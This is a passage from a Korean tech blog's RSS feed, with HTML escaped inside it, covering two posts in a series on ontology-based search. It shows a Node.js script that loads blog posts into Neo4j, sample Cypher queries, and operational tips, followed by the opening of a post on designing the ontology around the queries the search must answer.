        &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token literal-property property&quot;&gt;series&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; post&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;series&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token literal-property property&quot;&gt;slug&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; post&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;slug &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
      &lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; files &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;globSync&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;contents/posts/**/index.md&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; session &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; driver&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;session&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;try&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; file &lt;span class=&quot;token keyword&quot;&gt;of&lt;/span&gt; files&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; post &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;parsePost&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;file&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;await&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;ingest&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;session&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; post&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    console&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;log&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token template-string&quot;&gt;&lt;span class=&quot;token template-punctuation string&quot;&gt;`&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;✓ &lt;/span&gt;&lt;span class=&quot;token interpolation&quot;&gt;&lt;span class=&quot;token interpolation-punctuation punctuation&quot;&gt;${&lt;/span&gt;post&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;slug&lt;span class=&quot;token interpolation-punctuation punctuation&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token template-punctuation string&quot;&gt;`&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;finally&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;await&lt;/span&gt; session&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;close&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;await&lt;/span&gt; driver&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;close&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;span class=&quot;token function&quot;&gt;node&lt;/span&gt; scripts/ingest-graph.mjs&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;핵심은 &lt;strong&gt;모두 &lt;code class=&quot;language-text&quot;&gt;MERGE&lt;/code&gt;로 작성한 것&lt;/strong&gt;입니다. CREATE를 쓰면 재실행할 때마다 중복이 생기지만, MERGE는 식별자 기준 upsert라 멱등(idempotent)합니다. 운영하다 보면 글 수정 후 재적재가 잦아서 이게 큰 차이를 만듭니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;적재 확인 — 2편의 질의 7개 돌려보기&lt;/h2&gt;
&lt;p&gt;Neo4j Browser(&lt;a href=&quot;http://localhost:7474&quot;&gt;http://localhost:7474&lt;/a&gt;)에서 직접 Cypher를 쳐봅니다.&lt;/p&gt;
&lt;h3&gt;Q1. Claude Code 시리즈의 첫 번째 글&lt;/h3&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;cypher&quot;&gt;&lt;pre class=&quot;language-cypher&quot;&gt;&lt;code class=&quot;language-cypher&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;MATCH&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;p&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;token class-name&quot;&gt;Post&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;token relationship property&quot;&gt;BELONGS_TO_SERIES&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;-&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;s&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;token class-name&quot;&gt;Series&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;name&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;Claude Code 사용 가이드&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;RETURN&lt;/span&gt; p &lt;span class=&quot;token keyword&quot;&gt;ORDER&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;BY&lt;/span&gt; p&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;publishedAt &lt;span class=&quot;token keyword&quot;&gt;ASC&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;LIMIT&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3&gt;Q2. 4월에 쓴 GraphRAG 관련 글&lt;/h3&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;cypher&quot;&gt;&lt;pre class=&quot;language-cypher&quot;&gt;&lt;code class=&quot;language-cypher&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;MATCH&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;p&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;token class-name&quot;&gt;Post&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;token relationship property&quot;&gt;HAS_TAG&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;-&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;t&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;token class-name&quot;&gt;Tag&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;name&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;GraphRAG&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;WHERE&lt;/span&gt; p&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;publishedAt &lt;span class=&quot;token operator&quot;&gt;&gt;=&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;datetime&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;2026-04-01&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;AND&lt;/span&gt; p&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;publishedAt &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;  &lt;span class=&quot;token function&quot;&gt;datetime&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;2026-05-01&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;RETURN&lt;/span&gt; p&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3&gt;Q3. AI 카테고리 최신 5개&lt;/h3&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;cypher&quot;&gt;&lt;pre class=&quot;language-cypher&quot;&gt;&lt;code class=&quot;language-cypher&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;MATCH&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;c&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;token class-name&quot;&gt;Category&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;slug&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;ai&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;lt;-&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;token relationship property&quot;&gt;IN_CATEGORY&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;p&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;token class-name&quot;&gt;Post&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;RETURN&lt;/span&gt; p &lt;span class=&quot;token keyword&quot;&gt;ORDER&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;BY&lt;/span&gt; p&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;publishedAt &lt;span class=&quot;token keyword&quot;&gt;DESC&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;LIMIT&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;5&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3&gt;Q6. &quot;Claude Code&quot;와 &quot;GraphRAG&quot; 태그를 둘 다 갖는 글이 속한 시리즈&lt;/h3&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;cypher&quot;&gt;&lt;pre class=&quot;language-cypher&quot;&gt;&lt;code class=&quot;language-cypher&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;MATCH&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;s&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;token class-name&quot;&gt;Series&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;lt;-&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;token relationship property&quot;&gt;BELONGS_TO_SERIES&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;p&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;token class-name&quot;&gt;Post&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;WHERE&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;EXISTS&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;p&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;token relationship property&quot;&gt;HAS_TAG&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;-&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;token class-name&quot;&gt;Tag&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;name&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;Claude Code&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;AND&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;EXISTS&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;p&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;token relationship property&quot;&gt;HAS_TAG&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;-&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;token class-name&quot;&gt;Tag&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;name&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;GraphRAG&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;RETURN&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;DISTINCT&lt;/span&gt; s&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;이 정도면 &lt;strong&gt;frontmatter만으로 4개 질의를 다 표현&lt;/strong&gt;합니다. Q4(인용 자료), Q5(후속/관련), Q7(선수글)은 본문 분석이 필요해서 &lt;strong&gt;4편에서 LLM으로 자동 추출&lt;/strong&gt;한 뒤에 다시 검증하겠습니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;운영 팁 몇 가지&lt;/h2&gt;
&lt;p&gt;직접 적재해보면서 부딪힌 작은 함정들입니다.&lt;/p&gt;
&lt;h3&gt;1) datetime은 반드시 ISO 문자열로&lt;/h3&gt;
&lt;p&gt;Cypher의 &lt;code class=&quot;language-text&quot;&gt;datetime()&lt;/code&gt; 함수는 JS Date 객체를 그대로 못 받습니다. &lt;strong&gt;반드시 &lt;code class=&quot;language-text&quot;&gt;.toISOString()&lt;/code&gt;으로 문자열 변환&lt;/strong&gt; 후 넘기세요. 안 그러면 무성의한 에러가 납니다.&lt;/p&gt;
&lt;h3&gt;2) MERGE의 SET은 분리해서 생각&lt;/h3&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;cypher&quot;&gt;&lt;pre class=&quot;language-cypher&quot;&gt;&lt;code class=&quot;language-cypher&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;MERGE&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;p&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;token class-name&quot;&gt;Post&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;slug&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token variable&quot;&gt;$slug&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;SET&lt;/span&gt; p&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;title &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token variable&quot;&gt;$title&lt;/span&gt;  &lt;span class=&quot;token comment&quot;&gt;// 매칭됐든 새로 만들었든 SET은 항상 실행됨&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;매칭됐을 때와 새로 만들 때 동작을 달리하고 싶으면 &lt;code class=&quot;language-text&quot;&gt;ON CREATE SET&lt;/code&gt; / &lt;code class=&quot;language-text&quot;&gt;ON MATCH SET&lt;/code&gt;을 쓰세요.&lt;/p&gt;
&lt;h3&gt;3) 트랜잭션은 글 단위로&lt;/h3&gt;
&lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;executeWrite&lt;/code&gt; 안에 한 글의 모든 적재(Post + Author + Category + Tags + Series)를 묶었습니다. 글 전체가 atomic하게 들어가거나 안 들어가도록 — 중간에 실패하면 그 글만 깔끔하게 롤백됩니다.&lt;/p&gt;
&lt;h3&gt;4) 시각화로 검증&lt;/h3&gt;
&lt;p&gt;Neo4j Browser에서 &lt;code class=&quot;language-text&quot;&gt;MATCH (n) RETURN n LIMIT 100&lt;/code&gt; 한 번 돌려보세요. &lt;strong&gt;시각화로 보면 설계 결함이 한눈에 보입니다.&lt;/strong&gt; 외톨이 노드, 잘못된 방향, 누락된 관계가 즉시 드러나요.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;다음 편 예고 — LLM으로 본문에서 자동 추출&lt;/h2&gt;
&lt;p&gt;frontmatter는 깔끔하지만 한계가 명확합니다. &lt;strong&gt;본문 안의 인용·관련·선수 관계&lt;/strong&gt;는 사람이 일일이 frontmatter에 적기 어렵죠.&lt;/p&gt;
&lt;p&gt;다음 편(4편)에서는 Microsoft GraphRAG 식 접근으로 갑니다.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;본문을 LLM에 넣고 &lt;strong&gt;엔티티·관계를 구조화 JSON으로 추출&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;추출 결과를 위 적재 스크립트에 합치는 파이프라인&lt;/li&gt;
&lt;li&gt;비용·정확도 트레이드오프&lt;/li&gt;
&lt;li&gt;사람 검수가 필요한 지점&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;이걸 해야 비로소 Q4·Q5·Q7까지 답할 수 있는 진짜 &quot;GraphRAG 준비&quot;가 완성됩니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;자주 묻는 질문 (FAQ)&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Q1. Neo4j AuraDB(클라우드 무료 티어)를 쓰는 게 더 낫지 않나요?&lt;/strong&gt;
프로토타입엔 좋습니다. 다만 무료 티어는 노드 수 제한이 있고 일정 시간 미사용 시 슬립 상태로 들어갑니다. &lt;strong&gt;로컬 도커는 제약이 없고 LLM 호출 같은 시행착오 단계에서 빠릅니다.&lt;/strong&gt; 서비스 단계에서는 AuraDB·Memgraph Cloud 같은 매니지드로 옮기는 게 합리적입니다.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Q2. Cypher 처음 보는데 무엇부터 배워야 하나요?&lt;/strong&gt;
&lt;code class=&quot;language-text&quot;&gt;MATCH&lt;/code&gt;, &lt;code class=&quot;language-text&quot;&gt;MERGE&lt;/code&gt;, &lt;code class=&quot;language-text&quot;&gt;WHERE&lt;/code&gt;, &lt;code class=&quot;language-text&quot;&gt;RETURN&lt;/code&gt; 4개로 80%는 됩니다. Neo4j 공식 무료 강의 &lt;a href=&quot;https://graphacademy.neo4j.com/&quot;&gt;GraphAcademy&lt;/a&gt;에 1~2시간짜리 입문 코스가 잘 만들어져 있어 추천합니다. 어차피 5편에서 &lt;strong&gt;LLM이 Cypher를 대신 써주는 부분&lt;/strong&gt;도 다루니, 처음부터 깊이 팔 필요는 없습니다.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Q3. 글이 1000개 넘어가도 이 적재 스크립트가 버틸까요?&lt;/strong&gt;
1000개 정도면 단순 직렬 적재로 수십 초 안에 끝납니다. 그 이상이거나 한 글당 임베딩까지 만들면 &lt;strong&gt;&lt;code class=&quot;language-text&quot;&gt;UNWIND&lt;/code&gt; + 배치&lt;/strong&gt;로 묶거나 &lt;code class=&quot;language-text&quot;&gt;apoc.periodic.iterate&lt;/code&gt;를 쓰는 게 좋습니다. 1인 블로그 규모라면 현재 스크립트로 충분합니다.&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;여러분이 만들 그래프 DB에는 어떤 데이터가 들어갈지 댓글로 알려주세요. 도메인이 달라도 적재 패턴은 거의 비슷해서, 참고가 될 수 있습니다.&lt;/p&gt;
&lt;p&gt;다음 편에서 LLM 자동 추출 들어갑니다.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[검색을 위한 온톨로지 설계 — 클래스·속성·관계 잡기]]></title><description><![CDATA[안녕하세요, 자바파커입니다. "일단 Neo4j부터 깔고, 데이터는 넣다 보면 정리되겠지." 지난번 1편에서 온톨로지 기반 검색이 왜 다시 주목받는지 정리하고, 이번 시리즈에서 blog.javapark.kr…]]></description><link>https://blog.javapark.kr/ontology-search-02-modeling/</link><guid isPermaLink="false">https://blog.javapark.kr/ontology-search-02-modeling/</guid><pubDate>Thu, 21 May 2026 09:00:00 GMT</pubDate><content:encoded>&lt;p&gt;안녕하세요, &lt;strong&gt;자바파커&lt;/strong&gt;입니다.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&quot;일단 Neo4j부터 깔고, 데이터는 넣다 보면 정리되겠지.&quot;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;지난번 1편에서 &lt;a href=&quot;/ontology-search-01-why/&quot;&gt;온톨로지 기반 검색이 왜 다시 주목받는지&lt;/a&gt; 정리하고, 이번 시리즈에서 &lt;strong&gt;blog.javapark.kr 글 검색&lt;/strong&gt;을 직접 만들어보기로 했습니다. 본격 구현에 앞서 가장 어려운 단계가 남았습니다. 바로 &lt;strong&gt;설계&lt;/strong&gt;입니다.&lt;/p&gt;
&lt;p&gt;결론부터 말씀드리면 — &lt;strong&gt;온톨로지 설계는 &quot;어떤 질의에 답할 것인가&quot;에서 거꾸로 풀어야 합니다.&lt;/strong&gt; 클래스부터 뽑기 시작하면 백이면 백, 3편 구현에서 통째로 갈아엎게 됩니다. 저도 그랬고, 다른 케이스도 비슷합니다.&lt;/p&gt;
&lt;p&gt;이번 편에서는 &lt;strong&gt;블로그 검색 도메인의 온톨로지를 처음부터 설계&lt;/strong&gt;해봅니다. 1) 답할 질의 정의 → 2) 클래스 도출 → 3) 속성·관계 정리 → 4) 함정 회피, 4단계로 갑니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;1단계: 답할 질의를 먼저 적는다&lt;/h2&gt;
&lt;p&gt;설계의 출발점은 도메인 분석이 아니라 &lt;strong&gt;유저 질의 리스트&lt;/strong&gt;입니다. 어떤 질문에 답할 시스템인지 모르고 시작하면, 만들어 놓고 보니 핵심 질의를 못 푸는 그래프가 됩니다.&lt;/p&gt;
&lt;p&gt;블로그 검색이라는 도메인에서, 제가 실제로 답하고 싶은 질의를 다음과 같이 적어봤습니다.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;#&lt;/th&gt;
&lt;th&gt;질의 예시&lt;/th&gt;
&lt;th&gt;필요한 정보&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Q1&lt;/td&gt;
&lt;td&gt;&quot;Claude Code 시리즈의 첫 번째 글&quot;&lt;/td&gt;
&lt;td&gt;시리즈 소속 + 시리즈 내 순번&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Q2&lt;/td&gt;
&lt;td&gt;&quot;4월에 쓴 GraphRAG 관련 글&quot;&lt;/td&gt;
&lt;td&gt;작성일 + 태그&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Q3&lt;/td&gt;
&lt;td&gt;&quot;AI 카테고리 글 중 가장 최근 5개&quot;&lt;/td&gt;
&lt;td&gt;카테고리 + 최신순 정렬&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Q4&lt;/td&gt;
&lt;td&gt;&quot;이 글이 인용한 외부 자료들&quot;&lt;/td&gt;
&lt;td&gt;인용 관계&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Q5&lt;/td&gt;
&lt;td&gt;&quot;이 글의 후속편이나 관련 시리즈&quot;&lt;/td&gt;
&lt;td&gt;시리즈 관계 + 연관 글&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Q6&lt;/td&gt;
&lt;td&gt;&quot;Claude Code 글과 GraphRAG 글을 모두 쓴 시리즈&quot;&lt;/td&gt;
&lt;td&gt;글-시리즈-태그 교차&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Q7&lt;/td&gt;
&lt;td&gt;&quot;초보자가 이 글을 이해하려면 먼저 읽어야 할 글&quot;&lt;/td&gt;
&lt;td&gt;선수 관계 (prerequisite)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;이 7개 질의가 곧 &lt;strong&gt;온톨로지가 통과해야 할 테스트 케이스&lt;/strong&gt;입니다. 설계 끝에 &quot;이 7개를 다 표현할 수 있는가?&quot;로 검증할 거예요.&lt;/p&gt;
&lt;blockquote&gt;
